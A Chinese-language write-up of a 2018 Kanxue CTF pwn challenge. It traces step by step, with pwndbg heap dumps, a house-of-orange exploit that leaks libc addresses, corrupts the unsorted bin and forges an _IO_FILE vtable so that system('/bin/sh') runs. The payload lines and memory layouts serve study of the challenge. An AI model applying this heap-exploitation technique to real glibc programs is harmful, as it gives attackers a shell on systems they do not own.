1. 概述
看雪2018CTF第11题的网址如下,感兴趣的朋友们可以下载试手。
https://ctf.pediy.com/game-fight-65.htm
此题保护全开
初始会分配内存(chunk_size=0xE20+0x10),专门画了一个猪头
功能分析:
——sub_1897:new pig。最多可创建3个:0,1,2。chunk_size=0xD0
漏洞:可以多写0x10个字节,可以修改下一个chunk的头部。
——sub_19FF:free功能正常。
——sub_1AA1:print pig。只能print一次,且只有new过的才能print
——sub_1B94:new fly pig。chunk_size=0x80,大小无法用来做fastbin attack修改__malloc_hook
——sub_1C52:edit fly pig。漏洞:修改addr+0x80的内容,可以修改下一个chunk的fd和bk。
本题利用的局限性很大,刚开始根本不知道怎么利用,看了各位大佬的wp才知道了house of orange。下面以qwertyaa提供的wp为例,展现调试过程及自己的理解,方便你我这样的小白共同成长。
https://bbs.pediy.com/thread-229647.htm
1). secret()
pwndbg> x/10gx 0x000055986c0afe40-0x10
0x55986c0afe30: 0x0000000000000000 0x0000000000000081
0x55986c0afe40: 0x0000000000000000 0x0000000000000000
0x55986c0afe50: 0x0000000000000000 0x0000000000000000
0x55986c0afe60: 0x0000000000000000 0x0000000000000000
0x55986c0afe70: 0x0000000000000000 0x0000000000000000
2). create(2,'hello')
pwndbg> x/26gx 0x000055986c0afec0-0x10
0x55986c0afeb0: 0x0000000000000000 0x00000000000000d1
0x55986c0afec0: 0x694c206c6c616d53 0x0000000000000000
0x55986c0afed0: 0x0000006f6c6c6568 0x0000000000000000
0x55986c0afee0: 0x0000000000000000 0x0000000000000000
0x55986c0afef0: 0x0000000000000000 0x0000000000000000
0x55986c0aff00: 0x0000000000000000 0x0000000000000000
0x55986c0aff10: 0x0000000000000000 0x0000000000000000
0x55986c0aff20: 0x0000000000000000 0x0000000000000000
0x55986c0aff30: 0x0000000000000000 0x0000000000000000
0x55986c0aff40: 0x0000000000000000 0x0000000000000000
0x55986c0aff50: 0x0000000000000000 0x0000000000000000
0x55986c0aff60: 0x0000000000000000 0x0000000000000000
0x55986c0aff70: 0x0000000000000000 0x0000000000000000
3). secret()
pwndbg> x/10gx 0x000055986c0aff90-0x10
0x55986c0aff80: 0x0000000000000000 0x0000000000000081
0x55986c0aff90: 0x0000000000000000 0x0000000000000000
0x55986c0affa0: 0x0000000000000000 0x0000000000000000
0x55986c0affb0: 0x0000000000000000 0x0000000000000000
0x55986c0affc0: 0x0000000000000000 0x0000000000000000
4). create(1,'hi')
pwndbg> x/26gx 0x000055986c0b0010-0x10
0x55986c0b0000: 0x0000000000000000 0x00000000000000d1
0x55986c0b0010: 0x00796f4220646552 0x0000000000000000
0x55986c0b0020: 0x0000000000006968 0x0000000000000000
0x55986c0b0030: 0x0000000000000000 0x0000000000000000
0x55986c0b0040: 0x0000000000000000 0x0000000000000000
0x55986c0b0050: 0x0000000000000000 0x0000000000000000
0x55986c0b0060: 0x0000000000000000 0x0000000000000000
0x55986c0b0070: 0x0000000000000000 0x0000000000000000
0x55986c0b0080: 0x0000000000000000 0x0000000000000000
0x55986c0b0090: 0x0000000000000000 0x0000000000000000
0x55986c0b00a0: 0x0000000000000000 0x0000000000000000
0x55986c0b00b0: 0x0000000000000000 0x0000000000000000
0x55986c0b00c0: 0x0000000000000000 0x0000000000000000
5). create(0,"hi")
pwndbg> x/26gx 0x000055986c0b00e0-0x10
0x55986c0b00d0: 0x0000000000000000 0x00000000000000d1
0x55986c0b00e0: 0x000061754720654b 0x0000000000000000
0x55986c0b00f0: 0x0000000000006968 0x0000000000000000
0x55986c0b0100: 0x0000000000000000 0x0000000000000000
0x55986c0b0110: 0x0000000000000000 0x0000000000000000
0x55986c0b0120: 0x0000000000000000 0x0000000000000000
0x55986c0b0130: 0x0000000000000000 0x0000000000000000
0x55986c0b0140: 0x0000000000000000 0x0000000000000000
0x55986c0b0150: 0x0000000000000000 0x0000000000000000
0x55986c0b0160: 0x0000000000000000 0x0000000000000000
0x55986c0b0170: 0x0000000000000000 0x0000000000000000
0x55986c0b0180: 0x0000000000000000 0x0000000000000000
0x55986c0b0190: 0x0000000000000000 0x0000000000000000
6). delete(1)
pwndbg> x/26gx 0x000055986c0b0010-0x10
0x55986c0b0000: 0x0000000000000000 0x00000000000000d1
0x55986c0b0010: 0x00007f0ca8a80b78 0x00007f0ca8a80b78
0x55986c0b0020: 0x0000000000006968 0x0000000000000000
0x55986c0b0030: 0x0000000000000000 0x0000000000000000
0x55986c0b0040: 0x0000000000000000 0x0000000000000000
0x55986c0b0050: 0x0000000000000000 0x0000000000000000
0x55986c0b0060: 0x0000000000000000 0x0000000000000000
0x55986c0b0070: 0x0000000000000000 0x0000000000000000
0x55986c0b0080: 0x0000000000000000 0x0000000000000000
0x55986c0b0090: 0x0000000000000000 0x0000000000000000
0x55986c0b00a0: 0x0000000000000000 0x0000000000000000
0x55986c0b00b0: 0x0000000000000000 0x0000000000000000
0x55986c0b00c0: 0x0000000000000000 0x0000000000000000
由于不与top chunk相连,且size=0xD0,所以待释放空间放入unsorted bin中。
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55986c0b0000 —▸ 0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0b0000
smallbins
empty
largebins
empty
7). delete(2)
pwndbg> x/26gx 0x000055986c0afec0-0x10
0x55986c0afeb0: 0x0000000000000000 0x00000000000000d1
0x55986c0afec0: 0x000055986c0b0000 0x00007f0ca8a80b78
0x55986c0afed0: 0x0000006f6c6c6568 0x0000000000000000
0x55986c0afee0: 0x0000000000000000 0x0000000000000000
0x55986c0afef0: 0x0000000000000000 0x0000000000000000
0x55986c0aff00: 0x0000000000000000 0x0000000000000000
0x55986c0aff10: 0x0000000000000000 0x0000000000000000
0x55986c0aff20: 0x0000000000000000 0x0000000000000000
0x55986c0aff30: 0x0000000000000000 0x0000000000000000
0x55986c0aff40: 0x0000000000000000 0x0000000000000000
0x55986c0aff50: 0x0000000000000000 0x0000000000000000
0x55986c0aff60: 0x0000000000000000 0x0000000000000000
0x55986c0aff70: 0x0000000000000000 0x0000000000000000
同理,放入unsorted bin中。
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55986c0afeb0 —▸ 0x55986c0b0000 —▸0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0afeb0
smallbins
empty
largebins
empty
8). create(2,"\x00")
unsortedbin遵循先进先出的原则进行分配。
疑问:为什么此时bk位置会有heap上的地址0x000055986c0afeb0?
pwndbg> x/26gx 0x000055986c0b0010-0x10
0x55986c0b0000: 0x0000000000000000 0x00000000000000d1
0x55986c0b0010: 0x694c206c6c616d53 0x000055986c0afeb0
0x55986c0b0020: 0x0000000000000000 0x0000000000000000
0x55986c0b0030: 0x0000000000000000 0x0000000000000000
0x55986c0b0040: 0x0000000000000000 0x0000000000000000
0x55986c0b0050: 0x0000000000000000 0x0000000000000000
0x55986c0b0060: 0x0000000000000000 0x0000000000000000
0x55986c0b0070: 0x0000000000000000 0x0000000000000000
0x55986c0b0080: 0x0000000000000000 0x0000000000000000
0x55986c0b0090: 0x0000000000000000 0x0000000000000000
0x55986c0b00a0: 0x0000000000000000 0x0000000000000000
0x55986c0b00b0: 0x0000000000000000 0x0000000000000000
0x55986c0b00c0: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55986c0afeb0 —▸ 0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0afeb0
smallbins
empty
largebins
empty
9). delete(0)
待释放空间与top chunk合并
0x55986c0b00d0: 0x00000000000000d0 0x000000000001ff31
0x55986c0b00e0: 0x000061754720654b 0x0000000000000000
0x55986c0b00f0: 0x0000000000006968 0x0000000000000000
0x55986c0b0100: 0x0000000000000000 0x0000000000000000
0x55986c0b0110: 0x0000000000000000 0x0000000000000000
0x55986c0b0120: 0x0000000000000000 0x0000000000000000
0x55986c0b0130: 0x0000000000000000 0x0000000000000000
0x55986c0b0140: 0x0000000000000000 0x0000000000000000
0x55986c0b0150: 0x0000000000000000 0x0000000000000000
0x55986c0b0160: 0x0000000000000000 0x0000000000000000
0x55986c0b0170: 0x0000000000000000 0x0000000000000000
0x55986c0b0180: 0x0000000000000000 0x0000000000000000
0x55986c0b0190: 0x0000000000000000 0x0000000000000000
10). delete(2)
待释放空间与top chunk合并
pwndbg> x/26gx 0x000055986c0b0010-0x10
0x55986c0b0000: 0x0000000000000000 0x0000000000020001
0x55986c0b0010: 0x694c206c6c616d53 0x000055986c0afeb0
0x55986c0b0020: 0x0000000000000000 0x0000000000000000
0x55986c0b0030: 0x0000000000000000 0x0000000000000000
0x55986c0b0040: 0x0000000000000000 0x0000000000000000
0x55986c0b0050: 0x0000000000000000 0x0000000000000000
0x55986c0b0060: 0x0000000000000000 0x0000000000000000
0x55986c0b0070: 0x0000000000000000 0x0000000000000000
0x55986c0b0080: 0x0000000000000000 0x0000000000000000
0x55986c0b0090: 0x0000000000000000 0x0000000000000000
0x55986c0b00a0: 0x0000000000000000 0x0000000000000000
0x55986c0b00b0: 0x0000000000000000 0x0000000000000000
0x55986c0b00c0: 0x0000000000000000 0x0000000000000000
11). create(2,"endFlag")
分配unsortedbin中的堆
pwndbg> x/26gx 0x000055986c0afec0-0x10
0x55986c0afeb0: 0x0000000000000000 0x00000000000000d1
0x55986c0afec0: 0x694c206c6c616d53 0x00007f0ca8a80b78
0x55986c0afed0: 0x0067616c46646e65 0x0000000000000000
0x55986c0afee0: 0x0000000000000000 0x0000000000000000
0x55986c0afef0: 0x0000000000000000 0x0000000000000000
0x55986c0aff00: 0x0000000000000000 0x0000000000000000
0x55986c0aff10: 0x0000000000000000 0x0000000000000000
0x55986c0aff20: 0x0000000000000000 0x0000000000000000
0x55986c0aff30: 0x0000000000000000 0x0000000000000000
0x55986c0aff40: 0x0000000000000000 0x0000000000000000
0x55986c0aff50: 0x0000000000000000 0x0000000000000000
0x55986c0aff60: 0x0000000000000000 0x0000000000000000
0x55986c0aff70: 0x0000000000000000 0x0000000000000000
pwndbg> hex 0x000055986c0afec0 0x100
+0000 0x55986c0afec0 53 6d 61 6c 6c 20 4c 69 78 0b a8 a8 0c 7f 00 00 │Smal│l.Li│x...│....│
+0010 0x55986c0afed0 65 6e 64 46 6c 61 67 00 00 00 00 00 00 00 00 00 │endF│lag.│....│....│
+0020 0x55986c0afee0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+00c0 0x55986c0aff80 d0 00 00 00 00 00 00 00 81 00 00 00 00 00 00 00 │....│....│....│....│
+00d0 0x55986c0aff90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
12). create(1,"endFlag")
pwndbg> x/26gx 0x000055986c0b0010-0x10
0x55986c0b0000: 0x0000000000000000 0x00000000000000d1
0x55986c0b0010: 0x69796f4220646552 0x000055986c0afeb0
0x55986c0b0020: 0x0067616c46646e65 0x0000000000000000
0x55986c0b0030: 0x0000000000000000 0x0000000000000000
0x55986c0b0040: 0x0000000000000000 0x0000000000000000
0x55986c0b0050: 0x0000000000000000 0x0000000000000000
0x55986c0b0060: 0x0000000000000000 0x0000000000000000
0x55986c0b0070: 0x0000000000000000 0x0000000000000000
0x55986c0b0080: 0x0000000000000000 0x0000000000000000
0x55986c0b0090: 0x0000000000000000 0x0000000000000000
0x55986c0b00a0: 0x0000000000000000 0x0000000000000000
0x55986c0b00b0: 0x0000000000000000 0x0000000000000000
0x55986c0b00c0: 0x0000000000000000 0x0000000000000000
pwndbg> hex 0x000055986c0b0010 0x100
+0000 0x55986c0b0010 52 65 64 20 42 6f 79 69 b0 fe 0a 6c 98 55 00 00 │Red.│Boyi│...l│.U..│
+0010 0x55986c0b0020 65 6e 64 46 6c 61 67 00 00 00 00 00 00 00 00 00 │endF│lag.│....│....│
+0020 0x55986c0b0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+00c0 0x55986c0b00d0 d0 00 00 00 00 00 00 00 31 ff 01 00 00 00 00 00 │....│....│1...│....│
+00d0 0x55986c0b00e0 4b 65 20 47 75 61 00 00 00 00 00 00 00 00 00 00 │Ke.G│ua..│....│....│
+00e0 0x55986c0b00f0 68 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │hi..│....│....│....│
+00f0 0x55986c0b0100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
ct=show()
pig0还没分配
pig1的数据??不清楚堆地址怎么生成的?
pwndbg> hex 0x000055986c0b0010 0x100
+0000 0x55986c0b0010 52 65 64 20 42 6f 79 69 b0 fe 0a 6c 98 55 0000 │Red.│Boyi│...l│.U..│
+0010 0x55986c0b0020 65 6e 64 46 6c 61 67 00 00 00 00 00 00 00 00 00 │endF│lag.│....│....│
+0020 0x55986c0b0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
pig2的数据
pwndbg> hex 0x000055986c0afec0-0x100x100
+0000 0x55986c0afeb0 00 00 00 00 00 00 00 00 d1 00 00 00 00 00 00 00 │....│....│....│....│
+0010 0x55986c0afec0 53 6d 61 6c 6c 20 4c 69 78 0b a8 a8 0c 7f 0000 │Smal│l.Li│x...│....│
+0020 0x55986c0afed0 65 6e 64 46 6c 61 67 00 00 00 00 00 00 00 00 00 │endF│lag.│....│....│
+0030 0x55986c0afee0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
求出libc_base和heap base
由main_arena+88=0x7f0ca8a80b78 --> libc_base = 0x7f0ca86bc000
由0x55986c0afeb0 – 0xeb0 =heap_base = 0x55986c0af000 ???
(作者的解释:具体值本地cat maps后得出,因为肯定是固定的)
进而算出system、_IO_list_all的地址
sysp=libc_base+dlc.symbols['system']
ilap=libc_base+dlc.symbols['_IO_list_all'] #IO_list_all
13). delete(2)
放入unsortedbin中
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55986c0afeb0 —▸ 0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0afeb0
smallbins
empty
largebins
empty
14). delete(1)
待释放空间放入top chunk中
pwndbg> x/30gx 0x000055986c0b0010-0x10
0x55986c0b0000: 0x0000000000000000 0x0000000000020001
0x55986c0b0010: 0x69796f4220646552 0x000055986c0afeb0
0x55986c0b0020: 0x0067616c46646e65 0x0000000000000000
0x55986c0b0030: 0x0000000000000000 0x0000000000000000
0x55986c0b0040: 0x0000000000000000 0x0000000000000000
0x55986c0b0050: 0x0000000000000000 0x0000000000000000
0x55986c0b0060: 0x0000000000000000 0x0000000000000000
0x55986c0b0070: 0x0000000000000000 0x0000000000000000
0x55986c0b0080: 0x0000000000000000 0x0000000000000000
0x55986c0b0090: 0x0000000000000000 0x0000000000000000
0x55986c0b00a0: 0x0000000000000000 0x0000000000000000
0x55986c0b00b0: 0x0000000000000000 0x0000000000000000
0x55986c0b00c0: 0x0000000000000000 0x0000000000000000
0x55986c0b00d0: 0x00000000000000d0 0x000000000001ff31
0x55986c0b00e0: 0x000061754720654b 0x0000000000000000
15) multiSecret(2)
(1)第1次secret
从unsorted bin里分配堆,将剩余的堆空间放入unsortedbin中
pwndbg> x/26gx 0x55986c0afeb0
0x55986c0afeb0: 0x0000000000000000 0x0000000000000081
0x55986c0afec0: 0x00007f0ca8a80c38 0x00007f0ca8a80c38
0x55986c0afed0: 0x0067616c46646e65 0x0000000000000000
0x55986c0afee0: 0x0000000000000000 0x0000000000000000
0x55986c0afef0: 0x0000000000000000 0x0000000000000000
0x55986c0aff00: 0x0000000000000000 0x0000000000000000
0x55986c0aff10: 0x0000000000000000 0x0000000000000000
0x55986c0aff20: 0x0000000000000000 0x0000000000000000
0x55986c0aff30: 0x0000000000000000 0x0000000000000051
0x55986c0aff40: 0x00007f0ca8a80b78 0x00007f0ca8a80b78
0x55986c0aff50: 0x0000000000000000 0x0000000000000000
0x55986c0aff60: 0x0000000000000000 0x0000000000000000
0x55986c0aff70: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55986c0aff30 —▸ 0x7f0ca8a80b78 (main_arena+88) ◂—0x55986c0aff30
smallbins
empty
largebins
empty
(2)第2次secret
unsortedbin的堆块大小不够分,仍然在unsortedbin中
pwndbg> x/16gx 0x000055986c0b0010-0x10
0x55986c0b0000: 0x0000000000000000 0x0000000000000081
0x55986c0b0010: 0x69796f4220646552 0x000055986c0afeb0
0x55986c0b0020: 0x0067616c46646e65 0x0000000000000000
0x55986c0b0030: 0x0000000000000000 0x0000000000000000
0x55986c0b0040: 0x0000000000000000 0x0000000000000000
0x55986c0b0050: 0x0000000000000000 0x0000000000000000
0x55986c0b0060: 0x0000000000000000 0x0000000000000000
0x55986c0b0070: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x55986c0aff30 —▸ 0x7f0ca8a80bb8 (main_arena+152) ◂—0x55986c0aff30
largebins
empty
#Attack
上述的操作,用来确保接下来申请的内存都在top_chunk中进行。
注:由于调试不是一次完成的,因此记录的地址可能前后不一致,但不影响阅读。后3个字节的地址还是保持不变的。
16) create(0,'0'*(0x80-0x10-0x10)+"/bin/sh\x00"+p64(0)*3+p64(2)+p64(3))#pre0x58
pwndbg> x/26gx 0x00005575b6e33090-0x10
0x5575b6e33080: 0x0000000000000000 0x00000000000000d1
0x5575b6e33090: 0x000061754720654b 0x0000000000000000
0x5575b6e330a0: 0x3030303030303030 0x3030303030303030
0x5575b6e330b0: 0x3030303030303030 0x3030303030303030
0x5575b6e330c0: 0x3030303030303030 0x3030303030303030
0x5575b6e330d0: 0x3030303030303030 0x3030303030303030
0x5575b6e330e0: 0x3030303030303030 0x3030303030303030
0x5575b6e330f0: 0x3030303030303030 0x3030303030303030
0x5575b6e33100: 0x0068732f6e69622f 0x0000000000000000 #/bin/sh
0x5575b6e33110: 0x0000000000000000 0x0000000000000000
0x5575b6e33120: 0x0000000000000002 0x0000000000000003
0x5575b6e33130: 0x0000000000000000 0x0000000000000000
0x5575b6e33140: 0x0000000000000000 0x0000000000000000
17) create(1,p64(0)*1+p64(sysp)+"\x00"*0x40+p64(0)*3+p64(he+0x1080+0x80+12*8))#st+0x60
pwndbg> x/26gx 0x00005575b6e33160-0x10
0x5575b6e33150: 0x0000000000000000 0x00000000000000d1
0x5575b6e33160: 0x00796f4220646552 0x0000000000000000
0x5575b6e33170: 0x0000000000000000 0x00007fd1a3e08390 #system
0x5575b6e33180: 0x0000000000000000 0x0000000000000000
0x5575b6e33190: 0x0000000000000000 0x0000000000000000
0x5575b6e331a0: 0x0000000000000000 0x0000000000000000
0x5575b6e331b0: 0x0000000000000000 0x0000000000000000
0x5575b6e331c0: 0x0000000000000000 0x0000000000000000
0x5575b6e331d0: 0x0000000000000000 0x00005575b6e33160 #实验了,此处可为任意值。不清楚在设置设为堆的地址干什么?
0x5575b6e331e0: 0x0000000000000000 0x0000000000000000
0x5575b6e331f0: 0x0000000000000000 0x0000000000000000
0x5575b6e33200: 0x0000000000000000 0x0000000000000000
0x5575b6e33210: 0x0000000000000000 0x0000000000000000
18) create(2,"hi")
pwndbg> x/26gx 0x00005575b6e33230-0x10
0x5575b6e33220: 0x0000000000000000 0x00000000000000d1
0x5575b6e33230: 0x694c206c6c616d53 0x0000000000000000
0x5575b6e33240: 0x0000000000006968 0x0000000000000000
0x5575b6e33250: 0x0000000000000000 0x0000000000000000
0x5575b6e33260: 0x0000000000000000 0x0000000000000000
0x5575b6e33270: 0x0000000000000000 0x0000000000000000
0x5575b6e33280: 0x0000000000000000 0x0000000000000000
0x5575b6e33290: 0x0000000000000000 0x0000000000000000
0x5575b6e332a0: 0x0000000000000000 0x0000000000000000
0x5575b6e332b0: 0x0000000000000000 0x0000000000000000
0x5575b6e332c0: 0x0000000000000000 0x0000000000000000
0x5575b6e332d0: 0x0000000000000000 0x0000000000000000
0x5575b6e332e0: 0x0000000000000000 0x0000000000000000
19) secret()
pwndbg> x/16gx 0x00005575b6e33300-0x10
0x5575b6e332f0: 0x0000000000000000 0x0000000000000081
0x5575b6e33300: 0x0000000000000000 0x0000000000000000
0x5575b6e33310: 0x0000000000000000 0x0000000000000000
0x5575b6e33320: 0x0000000000000000 0x0000000000000000
0x5575b6e33330: 0x0000000000000000 0x0000000000000000
0x5575b6e33340: 0x0000000000000000 0x0000000000000000
0x5575b6e33350: 0x0000000000000000 0x0000000000000000
0x5575b6e33360: 0x0000000000000000 0x0000000000000000
20) delete(2)
待释放的堆块放入unsortedbin中,原来放入unsortedbin中的重新整理后放入smallbins[0x50]
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5575b6e33220 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33220
smallbins
0x50: 0x5575b6e32f30 —▸ 0x7fd1a4187bb8 (main_arena+152) ◂—0x5575b6e32f30
largebins
empty
21) delete(1)
待释放的块与原unsortedbin中的块相连,合并后重新放入unsortedbin中
wndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5575b6e33150 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33150
smallbins
0x50: 0x5575b6e32f30 —▸ 0x7fd1a4187bb8 (main_arena+152) ◂—0x5575b6e32f30
largebins
empty
# size=0xD0+0xD0=0x1A0
pwndbg> x/10gx 0x5575b6e33150
0x5575b6e33150: 0x0000000000000000 0x00000000000001a1
0x5575b6e33160: 0x00007fd1a4187b78 0x00007fd1a4187b78
0x5575b6e33170: 0x0000000000000000 0x00007fd1a3e08390
0x5575b6e33180: 0x0000000000000000 0x0000000000000000
0x5575b6e33190: 0x0000000000000000 0x0000000000000000
22) delete(0)
待释放的块与原unsortedbin中的块相连,合并后重新放入unsortedbin中
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5575b6e33080 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33080
smallbins
0x50: 0x5575b6e32f30 —▸ 0x7fd1a4187bb8 (main_arena+152) ◂—0x5575b6e32f30
largebins
empty
# size=0x1A0+0xD0=0x270
pwndbg> x/10gx 0x5575b6e33080
0x5575b6e33080: 0x0000000000000000 0x0000000000000271
0x5575b6e33090: 0x00007fd1a4187b78 0x00007fd1a4187b78
0x5575b6e330a0: 0x3030303030303030 0x3030303030303030
0x5575b6e330b0: 0x3030303030303030 0x3030303030303030
0x5575b6e330c0: 0x3030303030303030 0x3030303030303030
23) secret()
pwndbg> x/20gx 0x00005575b6e33090-0x10
0x5575b6e33080: 0x0000000000000000 0x0000000000000081
0x5575b6e33090: 0x00007fd1a4187dd8 0x00007fd1a4187dd8
0x5575b6e330a0: 0x3030303030303030 0x3030303030303030
0x5575b6e330b0: 0x3030303030303030 0x3030303030303030
0x5575b6e330c0: 0x3030303030303030 0x3030303030303030
0x5575b6e330d0: 0x3030303030303030 0x3030303030303030
0x5575b6e330e0: 0x3030303030303030 0x3030303030303030
0x5575b6e330f0: 0x3030303030303030 0x3030303030303030
0x5575b6e33100: 0x0068732f6e69622f 0x00000000000001f1
0x5575b6e33110: 0x00007fd1a4187b78 0x00007fd1a4187b78
原来unsortedbin中0x5575b6e33080切掉0x80分给secret后,剩余的0x5575b6e33100放入unsortedbin中
unsortedbin
all: 0x5575b6e33100 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33100
16-23步对应的内存布局如下
24) editSecret(p64(lc+0x3C4B78)+p64(ilap-0x10)[:7])
修改下一个chunk的bk指针,为了house of orange利用时将_IO_list_all指向main_arena+88=0x00007fd1a4187b78
pwndbg> x/20gx 0x00005575b6e33090-0x10
0x5575b6e33080: 0x0000000000000000 0x0000000000000081
0x5575b6e33090: 0x00007fd1a4187dd8 0x00007fd1a4187dd8
0x5575b6e330a0: 0x3030303030303030 0x3030303030303030
0x5575b6e330b0: 0x3030303030303030 0x3030303030303030
0x5575b6e330c0: 0x3030303030303030 0x3030303030303030
0x5575b6e330d0: 0x3030303030303030 0x3030303030303030
0x5575b6e330e0: 0x3030303030303030 0x3030303030303030
0x5575b6e330f0: 0x3030303030303030 0x3030303030303030
0x5575b6e33100: 0x0068732f6e69622f 0x00000000000001f1
0x5575b6e33110: 0x00007fd1a4187b78 0x00007fd1a4188510
unsortedbin
all [corrupted]
FD: 0x5575b6e33100 —▸ 0x7fd1a4187b78 (main_arena+88) ◂—0x5575b6e33100
BK: 0x5575b6e33100 —▸ 0x7fd1a4188510 ◂—0x0
smallbins
0x50: 0x5575b6e32f30 —▸ 0x7fd1a4187bb8 (main_arena+152) ◂—0x5575b6e32f30
largebins
empty
25) secret()
触发一个申请chunk_size=0x80的空间操作,实施house of orange的后半段攻击。跟踪malloc.c中的_int_malloc
1)修改_IO_list_all指向
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
pwndbg> x/gx &_IO_list_all
0x7f32cbfba520 <_IO_list_all>: 0x00007f32cbfb9b78
2)将0x55bf8e8ba100放入smallbins[0x1f0],此时*((main_arena+88)+0x1f0)= 0x55bf8e8ba100
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55bf8e8ba100 —▸ 0x7f32cbfb9d58 (main_arena+568) ◂—0x55bf8e8ba100
BK: 0x7f32cbfba510 ◂—0x0
smallbins
0x50: 0x55bf8e8b9f30 —▸ 0x7f32cbfb9bb8 (main_arena+152) ◂—0x55bf8e8b9f30
0x1f0: 0x55bf8e8ba100 —▸ 0x7f32cbfb9d58 (main_arena+568) ◂—0x55bf8e8ba100
largebins
empty
从_IO_flush_all_lockp的代码可以看出,首先fp = (_IO_FILE *) _IO_list_all,然后通过
fp =fp->_chain不断地寻找下一个_IO_FILE,
只要fp满足
fp->_mode <= 0 && fp->_IO_write_ptr >fp->_IO_write_base
就能执行到_IO_OVERFLOW,从而转入设定的system(‘/bin/sh’)
本文的利用相比于https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c而言稍稍变换了一下形式。
github代码是直接将unsorted bin中的堆块头部的size改成了0x61,让执行_int_malloc时将unsortedbin的堆块放入smallbins[0x60]中,从而控制fp->chain的走向。而本题并没修改unsortedbin中堆块的size,因此_int_malloc在整理unsortedbin的块时,将其挪到了smallbins[0x1F0]。但利用本质并没有变化,只是让fp多了几次fp->chain的搜索而已,最终fp->chain会等于0x55bf8e8ba100(即为我们控制的unsortedbin)。
下面直接截图来说明
p (*(struct _IO_FILE *) 0x7f32cbfb9b78)
ok,现在fp->chain=0x55bf8e8ba100,查看下它将vtable改成啥了。
p (*(struct _IO_FILE_plus *) 0x55bf8e8ba100)
其中fp->mode=0, fp->_IO_write_ptr=3, fp->_IO_write_base=2,满足执行_IO_OVERFLOW的前置条件。
vtable指向0x55bf8e8ba160。
p (*(struct _IO_jump_t *) 0x55bf8e8ba160)
__overflow指向了libc_system。
fp=0x55bf8e8ba100的头部指向/bin/sh。因此,_IO_OVERFLOW(fp, EOF)相当于执行system(‘/bin/sh’)
2. 总结
发现qwertyaa与其他大佬的解法不同:没有利用house of orange中的前半段关于top_chunk不够分调用sysmalloc产生一个unsortedbin,仅使用了后半段修改一个unsortedbin和最后申请一个空间的操作。用程序本身的功能直接free出unsorted bin。
跟踪调试后,还是存在一个疑问:不知道基于什么原理才会泄露一个堆地址?且发现exp中的
create(1,p64(0)*1+p64(sysp)+"\x00"*0x40+p64(0)*3+p64(he+0x1080+0x80+12*8))
中给出的这个堆地址没有啥具体作用,house of orange用不到该堆地址。
后来我自己将exp脚本中的这句改成:
create(1,p64(0)*1+p64(sysp)+"\x00"*0x40+p64(0)*4)
也可完美利用。因而引出结论:没必要泄露堆地址,根本用不着。
记录在此,说不定哪天自己就都搞清楚了呢:-)
网友评论